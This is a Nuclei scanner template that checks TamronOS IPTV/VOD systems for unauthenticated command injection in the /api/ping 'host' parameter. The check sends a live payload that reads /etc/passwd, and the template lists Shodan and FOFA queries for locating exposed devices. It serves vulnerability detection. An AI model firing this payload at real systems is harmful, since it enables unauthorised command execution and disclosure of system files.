id: tamronos-rce

info:
  name: TamronOS IPTV/VOD - Remote Command Execution
  author: pikpikcu
  severity: critical
  description: |
    TamronOS IPTV/VOD contains a remote command execution in the 'host' parameter of the /api/ping endpoint.
  reference:
    - https://twitter.com/sec715/status/1405336456923471874
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-78
    cpe: cpe:2.3:o:tamronos:tamronos:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"TamronOS IPTV系统"
    fofa-query: title="TamronOS IPTV系统"
    product: tamronos
    vendor: tamronos
  tags: tamronos,rce,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/ping?count=5&host=;cat%20/etc/passwd;&port=80&source=1.1.1.1&type=icmp"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205418a14296b38aa14291f6682521c5a7b154384e0a65943e08586fafb4cfa4fd022100ab5f8cc258b0278104286e17aa01912388890fb0b2c92537dc2d83c4fdd1b891:922c64590222798bb761d5b6d8e72950